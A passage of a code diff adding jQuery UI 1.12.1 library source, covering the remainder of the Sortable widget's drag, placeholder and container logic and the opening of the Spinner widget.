+			isOverElementWidth = ( this.options.axis === "y" ) ||
+				this._isOverAxis(
+					this.positionAbs.left + this.offset.click.left, item.left, item.width ),
+			isOverElement = isOverElementHeight && isOverElementWidth;
+
+		if ( !isOverElement ) {
+			return false;
+		}
+
+		verticalDirection = this._getDragVerticalDirection();
+		horizontalDirection = this._getDragHorizontalDirection();
+
+		return this.floating ?
+			( ( horizontalDirection === "right" || verticalDirection === "down" ) ? 2 : 1 )
+			: ( verticalDirection && ( verticalDirection === "down" ? 2 : 1 ) );
+
+	},
+
+	_intersectsWithSides: function( item ) {
+
+		var isOverBottomHalf = this._isOverAxis( this.positionAbs.top +
+				this.offset.click.top, item.top + ( item.height / 2 ), item.height ),
+			isOverRightHalf = this._isOverAxis( this.positionAbs.left +
+				this.offset.click.left, item.left + ( item.width / 2 ), item.width ),
+			verticalDirection = this._getDragVerticalDirection(),
+			horizontalDirection = this._getDragHorizontalDirection();
+
+		if ( this.floating && horizontalDirection ) {
+			return ( ( horizontalDirection === "right" && isOverRightHalf ) ||
+				( horizontalDirection === "left" && !isOverRightHalf ) );
+		} else {
+			return verticalDirection && ( ( verticalDirection === "down" && isOverBottomHalf ) ||
+				( verticalDirection === "up" && !isOverBottomHalf ) );
+		}
+
+	},
+
+	_getDragVerticalDirection: function() {
+		var delta = this.positionAbs.top - this.lastPositionAbs.top;
+		return delta !== 0 && ( delta > 0 ? "down" : "up" );
+	},
+
+	_getDragHorizontalDirection: function() {
+		var delta = this.positionAbs.left - this.lastPositionAbs.left;
+		return delta !== 0 && ( delta > 0 ? "right" : "left" );
+	},
+
+	refresh: function( event ) {
+		this._refreshItems( event );
+		this._setHandleClassName();
+		this.refreshPositions();
+		return this;
+	},
+
+	_connectWith: function() {
+		var options = this.options;
+		return options.connectWith.constructor === String ?
+			[ options.connectWith ] :
+			options.connectWith;
+	},
+
+	_getItemsAsjQuery: function( connected ) {
+
+		var i, j, cur, inst,
+			items = [],
+			queries = [],
+			connectWith = this._connectWith();
+
+		if ( connectWith && connected ) {
+			for ( i = connectWith.length - 1; i >= 0; i-- ) {
+				cur = $( connectWith[ i ], this.document[ 0 ] );
+				for ( j = cur.length - 1; j >= 0; j-- ) {
+					inst = $.data( cur[ j ], this.widgetFullName );
+					if ( inst && inst !== this && !inst.options.disabled ) {
+						queries.push( [ $.isFunction( inst.options.items ) ?
+							inst.options.items.call( inst.element ) :
+							$( inst.options.items, inst.element )
+								.not( ".ui-sortable-helper" )
+								.not( ".ui-sortable-placeholder" ), inst ] );
+					}
+				}
+			}
+		}
+
+		queries.push( [ $.isFunction( this.options.items ) ?
+			this.options.items
+				.call( this.element, null, { options: this.options, item: this.currentItem } ) :
+			$( this.options.items, this.element )
+				.not( ".ui-sortable-helper" )
+				.not( ".ui-sortable-placeholder" ), this ] );
+
+		function addItems() {
+			items.push( this );
+		}
+		for ( i = queries.length - 1; i >= 0; i-- ) {
+			queries[ i ][ 0 ].each( addItems );
+		}
+
+		return $( items );
+
+	},
+
+	_removeCurrentsFromItems: function() {
+
+		var list = this.currentItem.find( ":data(" + this.widgetName + "-item)" );
+
+		this.items = $.grep( this.items, function( item ) {
+			for ( var j = 0; j < list.length; j++ ) {
+				if ( list[ j ] === item.item[ 0 ] ) {
+					return false;
+				}
+			}
+			return true;
+		} );
+
+	},
+
+	_refreshItems: function( event ) {
+
+		this.items = [];
+		this.containers = [ this ];
+
+		var i, j, cur, inst, targetData, _queries, item, queriesLength,
+			items = this.items,
+			queries = [ [ $.isFunction( this.options.items ) ?
+				this.options.items.call( this.element[ 0 ], event, { item: this.currentItem } ) :
+				$( this.options.items, this.element ), this ] ],
+			connectWith = this._connectWith();
+
+		//Shouldn't be run the first time through due to massive slow-down
+		if ( connectWith && this.ready ) {
+			for ( i = connectWith.length - 1; i >= 0; i-- ) {
+				cur = $( connectWith[ i ], this.document[ 0 ] );
+				for ( j = cur.length - 1; j >= 0; j-- ) {
+					inst = $.data( cur[ j ], this.widgetFullName );
+					if ( inst && inst !== this && !inst.options.disabled ) {
+						queries.push( [ $.isFunction( inst.options.items ) ?
+							inst.options.items
+								.call( inst.element[ 0 ], event, { item: this.currentItem } ) :
+							$( inst.options.items, inst.element ), inst ] );
+						this.containers.push( inst );
+					}
+				}
+			}
+		}
+
+		for ( i = queries.length - 1; i >= 0; i-- ) {
+			targetData = queries[ i ][ 1 ];
+			_queries = queries[ i ][ 0 ];
+
+			for ( j = 0, queriesLength = _queries.length; j < queriesLength; j++ ) {
+				item = $( _queries[ j ] );
+
+				// Data for target checking (mouse manager)
+				item.data( this.widgetName + "-item", targetData );
+
+				items.push( {
+					item: item,
+					instance: targetData,
+					width: 0, height: 0,
+					left: 0, top: 0
+				} );
+			}
+		}
+
+	},
+
+	refreshPositions: function( fast ) {
+
+		// Determine whether items are being displayed horizontally
+		this.floating = this.items.length ?
+			this.options.axis === "x" || this._isFloating( this.items[ 0 ].item ) :
+			false;
+
+		//This has to be redone because due to the item being moved out/into the offsetParent,
+		// the offsetParent's position will change
+		if ( this.offsetParent && this.helper ) {
+			this.offset.parent = this._getParentOffset();
+		}
+
+		var i, item, t, p;
+
+		for ( i = this.items.length - 1; i >= 0; i-- ) {
+			item = this.items[ i ];
+
+			//We ignore calculating positions of all connected containers when we're not over them
+			if ( item.instance !== this.currentContainer && this.currentContainer &&
+					item.item[ 0 ] !== this.currentItem[ 0 ] ) {
+				continue;
+			}
+
+			t = this.options.toleranceElement ?
+				$( this.options.toleranceElement, item.item ) :
+				item.item;
+
+			if ( !fast ) {
+				item.width = t.outerWidth();
+				item.height = t.outerHeight();
+			}
+
+			p = t.offset();
+			item.left = p.left;
+			item.top = p.top;
+		}
+
+		if ( this.options.custom && this.options.custom.refreshContainers ) {
+			this.options.custom.refreshContainers.call( this );
+		} else {
+			for ( i = this.containers.length - 1; i >= 0; i-- ) {
+				p = this.containers[ i ].element.offset();
+				this.containers[ i ].containerCache.left = p.left;
+				this.containers[ i ].containerCache.top = p.top;
+				this.containers[ i ].containerCache.width =
+					this.containers[ i ].element.outerWidth();
+				this.containers[ i ].containerCache.height =
+					this.containers[ i ].element.outerHeight();
+			}
+		}
+
+		return this;
+	},
+
+	_createPlaceholder: function( that ) {
+		that = that || this;
+		var className,
+			o = that.options;
+
+		if ( !o.placeholder || o.placeholder.constructor === String ) {
+			className = o.placeholder;
+			o.placeholder = {
+				element: function() {
+
+					var nodeName = that.currentItem[ 0 ].nodeName.toLowerCase(),
+						element = $( "<" + nodeName + ">", that.document[ 0 ] );
+
+						that._addClass( element, "ui-sortable-placeholder",
+								className || that.currentItem[ 0 ].className )
+							._removeClass( element, "ui-sortable-helper" );
+
+					if ( nodeName === "tbody" ) {
+						that._createTrPlaceholder(
+							that.currentItem.find( "tr" ).eq( 0 ),
+							$( "<tr>", that.document[ 0 ] ).appendTo( element )
+						);
+					} else if ( nodeName === "tr" ) {
+						that._createTrPlaceholder( that.currentItem, element );
+					} else if ( nodeName === "img" ) {
+						element.attr( "src", that.currentItem.attr( "src" ) );
+					}
+
+					if ( !className ) {
+						element.css( "visibility", "hidden" );
+					}
+
+					return element;
+				},
+				update: function( container, p ) {
+
+					// 1. If a className is set as 'placeholder option, we don't force sizes -
+					// the class is responsible for that
+					// 2. The option 'forcePlaceholderSize can be enabled to force it even if a
+					// class name is specified
+					if ( className && !o.forcePlaceholderSize ) {
+						return;
+					}
+
+					//If the element doesn't have a actual height by itself (without styles coming
+					// from a stylesheet), it receives the inline height from the dragged item
+					if ( !p.height() ) {
+						p.height(
+							that.currentItem.innerHeight() -
+							parseInt( that.currentItem.css( "paddingTop" ) || 0, 10 ) -
+							parseInt( that.currentItem.css( "paddingBottom" ) || 0, 10 ) );
+					}
+					if ( !p.width() ) {
+						p.width(
+							that.currentItem.innerWidth() -
+							parseInt( that.currentItem.css( "paddingLeft" ) || 0, 10 ) -
+							parseInt( that.currentItem.css( "paddingRight" ) || 0, 10 ) );
+					}
+				}
+			};
+		}
+
+		//Create the placeholder
+		that.placeholder = $( o.placeholder.element.call( that.element, that.currentItem ) );
+
+		//Append it after the actual current item
+		that.currentItem.after( that.placeholder );
+
+		//Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317)
+		o.placeholder.update( that, that.placeholder );
+
+	},
+
+	_createTrPlaceholder: function( sourceTr, targetTr ) {
+		var that = this;
+
+		sourceTr.children().each( function() {
+			$( "<td>&#160;</td>", that.document[ 0 ] )
+				.attr( "colspan", $( this ).attr( "colspan" ) || 1 )
+				.appendTo( targetTr );
+		} );
+	},
+
+	_contactContainers: function( event ) {
+		var i, j, dist, itemWithLeastDistance, posProperty, sizeProperty, cur, nearBottom,
+			floating, axis,
+			innermostContainer = null,
+			innermostIndex = null;
+
+		// Get innermost container that intersects with item
+		for ( i = this.containers.length - 1; i >= 0; i-- ) {
+
+			// Never consider a container that's located within the item itself
+			if ( $.contains( this.currentItem[ 0 ], this.containers[ i ].element[ 0 ] ) ) {
+				continue;
+			}
+
+			if ( this._intersectsWith( this.containers[ i ].containerCache ) ) {
+
+				// If we've already found a container and it's more "inner" than this, then continue
+				if ( innermostContainer &&
+						$.contains(
+							this.containers[ i ].element[ 0 ],
+							innermostContainer.element[ 0 ] ) ) {
+					continue;
+				}
+
+				innermostContainer = this.containers[ i ];
+				innermostIndex = i;
+
+			} else {
+
+				// container doesn't intersect. trigger "out" event if necessary
+				if ( this.containers[ i ].containerCache.over ) {
+					this.containers[ i ]._trigger( "out", event, this._uiHash( this ) );
+					this.containers[ i ].containerCache.over = 0;
+				}
+			}
+
+		}
+
+		// If no intersecting containers found, return
+		if ( !innermostContainer ) {
+			return;
+		}
+
+		// Move the item into the container if it's not there already
+		if ( this.containers.length === 1 ) {
+			if ( !this.containers[ innermostIndex ].containerCache.over ) {
+				this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) );
+				this.containers[ innermostIndex ].containerCache.over = 1;
+			}
+		} else {
+
+			// When entering a new container, we will find the item with the least distance and
+			// append our item near it
+			dist = 10000;
+			itemWithLeastDistance = null;
+			floating = innermostContainer.floating || this._isFloating( this.currentItem );
+			posProperty = floating ? "left" : "top";
+			sizeProperty = floating ? "width" : "height";
+			axis = floating ? "pageX" : "pageY";
+
+			for ( j = this.items.length - 1; j >= 0; j-- ) {
+				if ( !$.contains(
+						this.containers[ innermostIndex ].element[ 0 ], this.items[ j ].item[ 0 ] )
+				) {
+					continue;
+				}
+				if ( this.items[ j ].item[ 0 ] === this.currentItem[ 0 ] ) {
+					continue;
+				}
+
+				cur = this.items[ j ].item.offset()[ posProperty ];
+				nearBottom = false;
+				if ( event[ axis ] - cur > this.items[ j ][ sizeProperty ] / 2 ) {
+					nearBottom = true;
+				}
+
+				if ( Math.abs( event[ axis ] - cur ) < dist ) {
+					dist = Math.abs( event[ axis ] - cur );
+					itemWithLeastDistance = this.items[ j ];
+					this.direction = nearBottom ? "up" : "down";
+				}
+			}
+
+			//Check if dropOnEmpty is enabled
+			if ( !itemWithLeastDistance && !this.options.dropOnEmpty ) {
+				return;
+			}
+
+			if ( this.currentContainer === this.containers[ innermostIndex ] ) {
+				if ( !this.currentContainer.containerCache.over ) {
+					this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash() );
+					this.currentContainer.containerCache.over = 1;
+				}
+				return;
+			}
+
+			itemWithLeastDistance ?
+				this._rearrange( event, itemWithLeastDistance, null, true ) :
+				this._rearrange( event, null, this.containers[ innermostIndex ].element, true );
+			this._trigger( "change", event, this._uiHash() );
+			this.containers[ innermostIndex ]._trigger( "change", event, this._uiHash( this ) );
+			this.currentContainer = this.containers[ innermostIndex ];
+
+			//Update the placeholder
+			this.options.placeholder.update( this.currentContainer, this.placeholder );
+
+			this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) );
+			this.containers[ innermostIndex ].containerCache.over = 1;
+		}
+
+	},
+
+	_createHelper: function( event ) {
+
+		var o = this.options,
+			helper = $.isFunction( o.helper ) ?
+				$( o.helper.apply( this.element[ 0 ], [ event, this.currentItem ] ) ) :
+				( o.helper === "clone" ? this.currentItem.clone() : this.currentItem );
+
+		//Add the helper to the DOM if that didn't happen already
+		if ( !helper.parents( "body" ).length ) {
+			$( o.appendTo !== "parent" ?
+				o.appendTo :
+				this.currentItem[ 0 ].parentNode )[ 0 ].appendChild( helper[ 0 ] );
+		}
+
+		if ( helper[ 0 ] === this.currentItem[ 0 ] ) {
+			this._storedCSS = {
+				width: this.currentItem[ 0 ].style.width,
+				height: this.currentItem[ 0 ].style.height,
+				position: this.currentItem.css( "position" ),
+				top: this.currentItem.css( "top" ),
+				left: this.currentItem.css( "left" )
+			};
+		}
+
+		if ( !helper[ 0 ].style.width || o.forceHelperSize ) {
+			helper.width( this.currentItem.width() );
+		}
+		if ( !helper[ 0 ].style.height || o.forceHelperSize ) {
+			helper.height( this.currentItem.height() );
+		}
+
+		return helper;
+
+	},
+
+	_adjustOffsetFromHelper: function( obj ) {
+		if ( typeof obj === "string" ) {
+			obj = obj.split( " " );
+		}
+		if ( $.isArray( obj ) ) {
+			obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 };
+		}
+		if ( "left" in obj ) {
+			this.offset.click.left = obj.left + this.margins.left;
+		}
+		if ( "right" in obj ) {
+			this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
+		}
+		if ( "top" in obj ) {
+			this.offset.click.top = obj.top + this.margins.top;
+		}
+		if ( "bottom" in obj ) {
+			this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
+		}
+	},
+
+	_getParentOffset: function() {
+
+		//Get the offsetParent and cache its position
+		this.offsetParent = this.helper.offsetParent();
+		var po = this.offsetParent.offset();
+
+		// This is a special case where we need to modify a offset calculated on start, since the
+		// following happened:
+		// 1. The position of the helper is absolute, so it's position is calculated based on the
+		// next positioned parent
+		// 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't
+		// the document, which means that the scroll is included in the initial calculation of the
+		// offset of the parent, and never recalculated upon drag
+		if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== this.document[ 0 ] &&
+				$.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) {
+			po.left += this.scrollParent.scrollLeft();
+			po.top += this.scrollParent.scrollTop();
+		}
+
+		// This needs to be actually done for all browsers, since pageX/pageY includes this
+		// information with an ugly IE fix
+		if ( this.offsetParent[ 0 ] === this.document[ 0 ].body ||
+				( this.offsetParent[ 0 ].tagName &&
+				this.offsetParent[ 0 ].tagName.toLowerCase() === "html" && $.ui.ie ) ) {
+			po = { top: 0, left: 0 };
+		}
+
+		return {
+			top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ),
+			left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 )
+		};
+
+	},
+
+	_getRelativeOffset: function() {
+
+		if ( this.cssPosition === "relative" ) {
+			var p = this.currentItem.position();
+			return {
+				top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) +
+					this.scrollParent.scrollTop(),
+				left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) +
+					this.scrollParent.scrollLeft()
+			};
+		} else {
+			return { top: 0, left: 0 };
+		}
+
+	},
+
+	_cacheMargins: function() {
+		this.margins = {
+			left: ( parseInt( this.currentItem.css( "marginLeft" ), 10 ) || 0 ),
+			top: ( parseInt( this.currentItem.css( "marginTop" ), 10 ) || 0 )
+		};
+	},
+
+	_cacheHelperProportions: function() {
+		this.helperProportions = {
+			width: this.helper.outerWidth(),
+			height: this.helper.outerHeight()
+		};
+	},
+
+	_setContainment: function() {
+
+		var ce, co, over,
+			o = this.options;
+		if ( o.containment === "parent" ) {
+			o.containment = this.helper[ 0 ].parentNode;
+		}
+		if ( o.containment === "document" || o.containment === "window" ) {
+			this.containment = [
+				0 - this.offset.relative.left - this.offset.parent.left,
+				0 - this.offset.relative.top - this.offset.parent.top,
+				o.containment === "document" ?
+					this.document.width() :
+					this.window.width() - this.helperProportions.width - this.margins.left,
+				( o.containment === "document" ?
+					( this.document.height() || document.body.parentNode.scrollHeight ) :
+					this.window.height() || this.document[ 0 ].body.parentNode.scrollHeight
+				) - this.helperProportions.height - this.margins.top
+			];
+		}
+
+		if ( !( /^(document|window|parent)$/ ).test( o.containment ) ) {
+			ce = $( o.containment )[ 0 ];
+			co = $( o.containment ).offset();
+			over = ( $( ce ).css( "overflow" ) !== "hidden" );
+
+			this.containment = [
+				co.left + ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) +
+					( parseInt( $( ce ).css( "paddingLeft" ), 10 ) || 0 ) - this.margins.left,
+				co.top + ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) +
+					( parseInt( $( ce ).css( "paddingTop" ), 10 ) || 0 ) - this.margins.top,
+				co.left + ( over ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) -
+					( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) -
+					( parseInt( $( ce ).css( "paddingRight" ), 10 ) || 0 ) -
+					this.helperProportions.width - this.margins.left,
+				co.top + ( over ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) -
+					( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) -
+					( parseInt( $( ce ).css( "paddingBottom" ), 10 ) || 0 ) -
+					this.helperProportions.height - this.margins.top
+			];
+		}
+
+	},
+
+	_convertPositionTo: function( d, pos ) {
+
+		if ( !pos ) {
+			pos = this.position;
+		}
+		var mod = d === "absolute" ? 1 : -1,
+			scroll = this.cssPosition === "absolute" &&
+				!( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
+				$.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ?
+					this.offsetParent :
+					this.scrollParent,
+			scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName );
+
+		return {
+			top: (
+
+				// The absolute mouse position
+				pos.top	+
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.top * mod +
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.top * mod -
+				( ( this.cssPosition === "fixed" ?
+					-this.scrollParent.scrollTop() :
+					( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod )
+			),
+			left: (
+
+				// The absolute mouse position
+				pos.left +
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.left * mod +
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.left * mod	-
+				( ( this.cssPosition === "fixed" ?
+					-this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 :
+					scroll.scrollLeft() ) * mod )
+			)
+		};
+
+	},
+
+	_generatePosition: function( event ) {
+
+		var top, left,
+			o = this.options,
+			pageX = event.pageX,
+			pageY = event.pageY,
+			scroll = this.cssPosition === "absolute" &&
+				!( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
+				$.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ?
+					this.offsetParent :
+					this.scrollParent,
+				scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName );
+
+		// This is another very weird special case that only happens for relative elements:
+		// 1. If the css position is relative
+		// 2. and the scroll parent is the document or similar to the offset parent
+		// we have to refresh the relative offset during the scroll so there are no jumps
+		if ( this.cssPosition === "relative" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
+				this.scrollParent[ 0 ] !== this.offsetParent[ 0 ] ) ) {
+			this.offset.relative = this._getRelativeOffset();
+		}
+
+		/*
+		 * - Position constraining -
+		 * Constrain the position to a mix of grid, containment.
+		 */
+
+		if ( this.originalPosition ) { //If we are not dragging yet, we won't check for options
+
+			if ( this.containment ) {
+				if ( event.pageX - this.offset.click.left < this.containment[ 0 ] ) {
+					pageX = this.containment[ 0 ] + this.offset.click.left;
+				}
+				if ( event.pageY - this.offset.click.top < this.containment[ 1 ] ) {
+					pageY = this.containment[ 1 ] + this.offset.click.top;
+				}
+				if ( event.pageX - this.offset.click.left > this.containment[ 2 ] ) {
+					pageX = this.containment[ 2 ] + this.offset.click.left;
+				}
+				if ( event.pageY - this.offset.click.top > this.containment[ 3 ] ) {
+					pageY = this.containment[ 3 ] + this.offset.click.top;
+				}
+			}
+
+			if ( o.grid ) {
+				top = this.originalPageY + Math.round( ( pageY - this.originalPageY ) /
+					o.grid[ 1 ] ) * o.grid[ 1 ];
+				pageY = this.containment ?
+					( ( top - this.offset.click.top >= this.containment[ 1 ] &&
+						top - this.offset.click.top <= this.containment[ 3 ] ) ?
+							top :
+							( ( top - this.offset.click.top >= this.containment[ 1 ] ) ?
+								top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) :
+								top;
+
+				left = this.originalPageX + Math.round( ( pageX - this.originalPageX ) /
+					o.grid[ 0 ] ) * o.grid[ 0 ];
+				pageX = this.containment ?
+					( ( left - this.offset.click.left >= this.containment[ 0 ] &&
+						left - this.offset.click.left <= this.containment[ 2 ] ) ?
+							left :
+							( ( left - this.offset.click.left >= this.containment[ 0 ] ) ?
+								left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) :
+								left;
+			}
+
+		}
+
+		return {
+			top: (
+
+				// The absolute mouse position
+				pageY -
+
+				// Click offset (relative to the element)
+				this.offset.click.top -
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.top -
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.top +
+				( ( this.cssPosition === "fixed" ?
+					-this.scrollParent.scrollTop() :
+					( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) )
+			),
+			left: (
+
+				// The absolute mouse position
+				pageX -
+
+				// Click offset (relative to the element)
+				this.offset.click.left -
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.left -
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.left +
+				( ( this.cssPosition === "fixed" ?
+					-this.scrollParent.scrollLeft() :
+					scrollIsRootNode ? 0 : scroll.scrollLeft() ) )
+			)
+		};
+
+	},
+
+	_rearrange: function( event, i, a, hardRefresh ) {
+
+		a ? a[ 0 ].appendChild( this.placeholder[ 0 ] ) :
+			i.item[ 0 ].parentNode.insertBefore( this.placeholder[ 0 ],
+				( this.direction === "down" ? i.item[ 0 ] : i.item[ 0 ].nextSibling ) );
+
+		//Various things done here to improve the performance:
+		// 1. we create a setTimeout, that calls refreshPositions
+		// 2. on the instance, we have a counter variable, that get's higher after every append
+		// 3. on the local scope, we copy the counter variable, and check in the timeout,
+		// if it's still the same
+		// 4. this lets only the last addition to the timeout stack through
+		this.counter = this.counter ? ++this.counter : 1;
+		var counter = this.counter;
+
+		this._delay( function() {
+			if ( counter === this.counter ) {
+
+				//Precompute after each DOM insertion, NOT on mousemove
+				this.refreshPositions( !hardRefresh );
+			}
+		} );
+
+	},
+
+	_clear: function( event, noPropagation ) {
+
+		this.reverting = false;
+
+		// We delay all events that have to be triggered to after the point where the placeholder
+		// has been removed and everything else normalized again
+		var i,
+			delayedTriggers = [];
+
+		// We first have to update the dom position of the actual currentItem
+		// Note: don't do it if the current item is already removed (by a user), or it gets
+		// reappended (see #4088)
+		if ( !this._noFinalSort && this.currentItem.parent().length ) {
+			this.placeholder.before( this.currentItem );
+		}
+		this._noFinalSort = null;
+
+		if ( this.helper[ 0 ] === this.currentItem[ 0 ] ) {
+			for ( i in this._storedCSS ) {
+				if ( this._storedCSS[ i ] === "auto" || this._storedCSS[ i ] === "static" ) {
+					this._storedCSS[ i ] = "";
+				}
+			}
+			this.currentItem.css( this._storedCSS );
+			this._removeClass( this.currentItem, "ui-sortable-helper" );
+		} else {
+			this.currentItem.show();
+		}
+
+		if ( this.fromOutside && !noPropagation ) {
+			delayedTriggers.push( function( event ) {
+				this._trigger( "receive", event, this._uiHash( this.fromOutside ) );
+			} );
+		}
+		if ( ( this.fromOutside ||
+				this.domPosition.prev !==
+				this.currentItem.prev().not( ".ui-sortable-helper" )[ 0 ] ||
+				this.domPosition.parent !== this.currentItem.parent()[ 0 ] ) && !noPropagation ) {
+
+			// Trigger update callback if the DOM position has changed
+			delayedTriggers.push( function( event ) {
+				this._trigger( "update", event, this._uiHash() );
+			} );
+		}
+
+		// Check if the items Container has Changed and trigger appropriate
+		// events.
+		if ( this !== this.currentContainer ) {
+			if ( !noPropagation ) {
+				delayedTriggers.push( function( event ) {
+					this._trigger( "remove", event, this._uiHash() );
+				} );
+				delayedTriggers.push( ( function( c ) {
+					return function( event ) {
+						c._trigger( "receive", event, this._uiHash( this ) );
+					};
+				} ).call( this, this.currentContainer ) );
+				delayedTriggers.push( ( function( c ) {
+					return function( event ) {
+						c._trigger( "update", event, this._uiHash( this ) );
+					};
+				} ).call( this, this.currentContainer ) );
+			}
+		}
+
+		//Post events to containers
+		function delayEvent( type, instance, container ) {
+			return function( event ) {
+				container._trigger( type, event, instance._uiHash( instance ) );
+			};
+		}
+		for ( i = this.containers.length - 1; i >= 0; i-- ) {
+			if ( !noPropagation ) {
+				delayedTriggers.push( delayEvent( "deactivate", this, this.containers[ i ] ) );
+			}
+			if ( this.containers[ i ].containerCache.over ) {
+				delayedTriggers.push( delayEvent( "out", this, this.containers[ i ] ) );
+				this.containers[ i ].containerCache.over = 0;
+			}
+		}
+
+		//Do what was originally in plugins
+		if ( this.storedCursor ) {
+			this.document.find( "body" ).css( "cursor", this.storedCursor );
+			this.storedStylesheet.remove();
+		}
+		if ( this._storedOpacity ) {
+			this.helper.css( "opacity", this._storedOpacity );
+		}
+		if ( this._storedZIndex ) {
+			this.helper.css( "zIndex", this._storedZIndex === "auto" ? "" : this._storedZIndex );
+		}
+
+		this.dragging = false;
+
+		if ( !noPropagation ) {
+			this._trigger( "beforeStop", event, this._uiHash() );
+		}
+
+		//$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately,
+		// it unbinds ALL events from the original node!
+		this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] );
+
+		if ( !this.cancelHelperRemoval ) {
+			if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) {
+				this.helper.remove();
+			}
+			this.helper = null;
+		}
+
+		if ( !noPropagation ) {
+			for ( i = 0; i < delayedTriggers.length; i++ ) {
+
+				// Trigger all delayed events
+				delayedTriggers[ i ].call( this, event );
+			}
+			this._trigger( "stop", event, this._uiHash() );
+		}
+
+		this.fromOutside = false;
+		return !this.cancelHelperRemoval;
+
+	},
+
+	_trigger: function() {
+		if ( $.Widget.prototype._trigger.apply( this, arguments ) === false ) {
+			this.cancel();
+		}
+	},
+
+	_uiHash: function( _inst ) {
+		var inst = _inst || this;
+		return {
+			helper: inst.helper,
+			placeholder: inst.placeholder || $( [] ),
+			position: inst.position,
+			originalPosition: inst.originalPosition,
+			offset: inst.positionAbs,
+			item: inst.currentItem,
+			sender: _inst ? _inst.element : null
+		};
+	}
+
+} );
+
+
+/*!
+ * jQuery UI Spinner 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Spinner
+//>>group: Widgets
+//>>description: Displays buttons to easily input numbers via the keyboard or mouse.
+//>>docs: http://api.jqueryui.com/spinner/
+//>>demos: http://jqueryui.com/spinner/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/spinner.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+function spinnerModifer( fn ) {
+	return function() {
+		var previous = this.element.val();
+		fn.apply( this, arguments );
+		this._refresh();
+		if ( previous !== this.element.val() ) {
+			this._trigger( "change" );
+		}
+	};
+}
+
+$.widget( "ui.spinner", {
+	version: "1.12.1",
+	defaultElement: "<input>",
+	widgetEventPrefix: "spin",
+	options: {
+		classes: {
+			"ui-spinner": "ui-corner-all",
+			"ui-spinner-down": "ui-corner-br",
+			"ui-spinner-up": "ui-corner-tr"
+		},
+		culture: null,
+		icons: {
+			down: "ui-icon-triangle-1-s",
+			up: "ui-icon-triangle-1-n"
+		},
+		incremental: true,
+		max: null,
+		min: null,
+		numberFormat: null,
+		page: 10,
+		step: 1,
+
+		change: null,
+		spin: null,
+		start: null,
+		stop: null
+	},
+
+	_create: function() {
+
+		// handle string values that need to be parsed
+		this._setOption( "max", this.options.max );
+		this._setOption( "min", this.options.min );
+		this._setOption( "step", this.options.step );
+
+		// Only format if there is a value, prevents the field from being marked
+		// as invalid in Firefox, see #9573.
+		if ( this.value() !== "" ) {
+
+			// Format the value, but don't constrain.
+			this._value( this.element.val(), true );
+		}
+
+		this._draw();
+		this._on( this._events );
+		this._refresh();
+
+		// Turning off autocomplete prevents the browser from remembering the
+		// value when navigating through history, so we re-enable autocomplete
+		// if the page is unloaded before the widget is destroyed. #7790
+		this._on( this.window, {
+			beforeunload: function() {
+				this.element.removeAttr( "autocomplete" );
+			}
+		} );
+	},
+
+	_getCreateOptions: function() {
+		var options = this._super();
+		var element = this.element;
+
+		$.each( [ "min", "max", "step" ], function( i, option ) {
+			var value = element.attr( option );
+			if ( value != null && value.length ) {
+				options[ option ] = value;
+			}
+		} );
+
+		return options;
+	},
+
+	_events: {
+		keydown: function( event ) {
+			if ( this._start( event ) && this._keydown( event ) ) {
+				event.preventDefault();
+			}
+		},
+		keyup: "_stop",
+		focus: function() {
+			this.previous = this.element.val();
+		},
+		blur: function( event ) {
+			if ( this.cancelBlur ) {
+				delete this.cancelBlur;
+				return;
+			}
+
+			this._stop();
+			this._refresh();
+			if ( this.previous !== this.element.val() ) {
+				this._trigger( "change", event );
+			}
+		},
+		mousewheel: function( event, delta ) {
+			if ( !delta ) {
+				return;
+			}
+			if ( !this.spinning && !this._start( event ) ) {
